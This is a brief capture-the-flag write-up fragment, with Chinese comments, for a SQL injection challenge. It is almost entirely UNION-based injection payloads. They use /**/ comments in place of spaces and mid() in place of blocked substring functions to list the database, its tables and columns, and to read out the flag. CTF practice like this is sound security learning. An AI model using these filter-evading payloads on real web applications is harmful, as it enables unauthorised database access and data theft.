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?wllm=-1'order/**/by/**/3%23 ?wllm=-1'union/**/select/**/1,2,database()%23
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/'test_db'%23
# 查看LTLT_flag中列名发现有flag ?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23
# substr substring right reverse都被屏蔽 发现mid可用(相当于substr) 一组组获取flag ?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
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